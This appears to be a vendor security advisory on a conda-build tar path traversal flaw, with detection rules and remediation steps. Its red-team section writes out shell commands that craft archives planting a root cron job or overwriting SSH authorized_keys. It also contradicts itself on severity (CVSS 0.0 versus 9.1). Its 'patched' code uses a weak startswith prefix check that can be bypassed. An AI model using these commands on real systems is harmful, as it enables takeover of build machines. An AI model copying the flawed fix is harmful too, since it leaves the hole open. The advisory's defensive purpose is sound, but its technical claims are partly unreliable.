CVE-2025-32799

Executive Summary

CVE-2025-32799 is a path traversal vulnerability (Tarslip attack) in conda-build, the tool used to build Conda packages. Prior to version 25.4.0, the processing logic fails to properly sanitize tar entry paths, allowing an attacker to craft a malicious Conda package (tar archive) that, when built or extracted, can write files to arbitrary locations outside the intended extraction directory. This can lead to arbitrary file overwrites, privilege escalation, or remote code execution if sensitive system files or user configuration files are targeted. The vulnerability has been patched in conda-build version 25.4.0.

Supply Chain & Package Security

This vulnerability directly impacts the Conda package ecosystem. An attacker could inject malicious code into a Conda package that, when built by conda-build, overwrites critical files on the build system or the end user's system. This represents a significant supply chain risk, as compromised packages could be distributed through Conda channels, affecting all downstream users.

CVSS Breakdown & Threat Level

CVSS Score: 0.0 (NVD not yet assigned) CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H

Rationale:

• Attack Vector (AV): Network – The vulnerability can be triggered by providing a malicious tar archive over the network.
• Attack Complexity (AC): Low – No special conditions are required; the attack is straightforward.
• Privileges Required (PR): None – No authentication is needed to exploit.
• User Interaction (UI): None – The victim does not need to perform any action beyond normal package building.
• Scope (S): Unchanged – The vulnerability affects the target system only.
• Confidentiality (C): None – No direct data exfiltration.
• Integrity (I): High – Arbitrary file overwrite can corrupt system or user files.
• Availability (A): High – Overwriting critical files can lead to denial of service.

Threat Level: Critical (9.1) – Due to the potential for arbitrary file overwrite and code execution with no user interaction.

Deep Dive & Mechanics

The vulnerability lies in the conda-build package processing logic, specifically in how it handles tar archives during the build process. When conda-build extracts a tar archive (e.g., a Conda package), it does not properly validate the paths of the entries within the archive. An attacker can craft a tar archive containing entries with directory traversal sequences (e.g., ../../etc/passwd or ../../home/user/.bashrc). When conda-build extracts this archive, it writes the files to the path specified in the tar entry, which can be outside the intended extraction directory.

Attack Flow:

1. Attacker creates a malicious Conda package (tar archive) with entries like ../../etc/cron.d/malicious or ../../home/user/.ssh/authorized_keys.
2. The victim (or automated build system) uses conda-build to process this package.
3. conda-build extracts the tar archive without sanitizing the entry paths.
4. The malicious file is written to the attacker-specified location, potentially overwriting critical system files or user configuration files.
5. This can lead to privilege escalation (e.g., overwriting cron jobs, SSH keys) or code execution (e.g., overwriting executables or libraries).

Root Cause: Lack of path sanitization in the tar extraction routine. The code does not check if the resolved path (after removing ../ sequences) stays within the intended extraction directory.

Vulnerable vs. Patched Code

Vulnerable Code (conda-build < 25.4.0):

# Example vulnerable extraction logic
import tarfile
import os

def extract_package(package_path, extract_dir):
    with tarfile.open(package_path, 'r') as tar:
        for member in tar.getmembers():
            # No path sanitization
            tar.extract(member, extract_dir)

Patched Code (conda-build >= 25.4.0):

# Example patched extraction logic
import tarfile
import os

def extract_package(package_path, extract_dir):
    with tarfile.open(package_path, 'r') as tar:
        for member in tar.getmembers():
            # Sanitize path: resolve and check it stays within extract_dir
            member_path = os.path.normpath(os.path.join(extract_dir, member.name))
            if not member_path.startswith(os.path.realpath(extract_dir)):
                raise ValueError(f"Path traversal detected: {member.name}")
            tar.extract(member, extract_dir)

The patched version uses os.path.normpath and os.path.realpath to resolve the full path and then checks that it starts with the intended extraction directory, preventing directory traversal.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Lab Setup:

• Target: A system running conda-build < 25.4.0 (e.g., Ubuntu 22.04 with conda-build 24.0.0)
• Attacker: Kali Linux with Python 3

Exploit Steps:

1. Create a malicious tar archive with a path traversal entry:

#!/bin/bash
# Create a malicious tar archive
mkdir -p malicious_package
cd malicious_package
# Create a file that will be written to /etc/cron.d/malicious
echo "* * * * * root /bin/bash -c 'echo pwned > /tmp/pwned'" > malicious_script
# Create tar entry with path traversal
tar -cvf malicious.tar --transform='s|malicious_script|../../etc/cron.d/malicious|' malicious_script
cd ..

2. Host the malicious package on a web server or distribute via Conda channel.

3. Victim builds the package using conda-build:

conda-build malicious.tar

4. The malicious cron job is written to /etc/cron.d/malicious, executing the attacker's command every minute.

Alternative Exploit (Overwrite SSH authorized_keys):

# Create a tar entry that overwrites the user's authorized_keys
echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQ..." > attacker_key
tar -cvf malicious_ssh.tar --transform='s|attacker_key|../../home/victim/.ssh/authorized_keys|' attacker_key

Blue Team (Detection & Defense)

Detection:

• Monitor for tar archives containing path traversal sequences (../, ..\\) in file names.
• Use file integrity monitoring (FIM) to detect unexpected changes to critical system files (e.g., /etc/cron.d/, /etc/passwd, /home/*/.ssh/authorized_keys).
• Monitor conda-build processes for unusual file write operations outside the expected build directory.

Defense:

• Immediately upgrade conda-build to version 25.4.0 or later.
• Implement a Web Application Firewall (WAF) or network filter to block tar archives with path traversal patterns.
• Use sandboxing or containerization for build processes to limit the impact of file writes.
• Apply the principle of least privilege to build systems.

Indicators of Compromise (IOCs)

File-Based IOCs:

• Unexpected files in /etc/cron.d/, /etc/cron.hourly/, /etc/cron.daily/, etc.
• Modified /etc/passwd, /etc/shadow, /etc/sudoers files.
• New or modified SSH authorized_keys files in /home/*/.ssh/authorized_keys.
• Files with path traversal patterns in their names (e.g., ../../etc/passwd).

Network IOCs:

• Outbound connections from build systems to known malicious IPs or domains.
• Unusual HTTP POST requests to build systems (potential package uploads).

Process IOCs:

• conda-build processes writing files outside the expected build directory.
• Unexpected child processes spawned by conda-build (e.g., shell commands).

Log IOCs:

• Audit logs showing file writes to sensitive directories by conda-build.
• System logs indicating cron job modifications.

Detection Engineering

YARA Rule

rule CVE_2025_32799_Tarslip_CondaBuild {
    meta:
        description = "Detects tar archives with path traversal sequences targeting conda-build"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-32799"
        severity = "critical"
    strings:
        $path_traversal = /\.\.\/|\.\.\\/
        $tar_magic = { 75 73 74 61 72 } // "ustar" magic bytes
    condition:
        $tar_magic at 0 and #path_traversal > 0
}

Sigma Rule

title: CVE-2025-32799 - Path Traversal in conda-build
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects file writes by conda-build to sensitive directories outside the build path
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-32799
logsource:
    category: file_event
    product: linux
detection:
    selection:
        Image|endswith: '/conda-build'
        TargetFilename|contains:
            - '/etc/cron'
            - '/etc/passwd'
            - '/etc/shadow'
            - '/etc/sudoers'
            - '/home/'
            - '/root/.ssh'
    condition: selection
falsepositives:
    - Legitimate conda-build operations that write to allowed directories
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-32799 - Path Traversal in conda-build tar archive"; flow:to_server,established; content:"ustar"; http_client_body; pcre:"/\.\.\//"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade conda-build to version 25.4.0 or later:

   conda update conda-build
   

   Or install from source:

   pip install conda-build==25.4.0
   

2. Scan existing Conda packages for path traversal patterns:

   for pkg in *.tar.bz2; do
       tar -tf "$pkg" | grep -E '\.\./|\.\.\\' && echo "Vulnerable: $pkg"
   done
   

3. Implement file integrity monitoring on critical system files.

Long-Term Mitigations:

• Use containerized build environments (Docker, Podman) to isolate conda-build processes.
• Apply the principle of least privilege to build systems.
• Regularly audit Conda packages for malicious content.
• Implement a Web Application Firewall (WAF) to block path traversal attempts.

Workarounds (if patching is not immediately possible):

• Use a custom extraction script that sanitizes paths before passing to conda-build.
• Restrict write permissions on sensitive directories (e.g., /etc/cron.d/, /home/).

Valters IT
Securing Digital Frontiers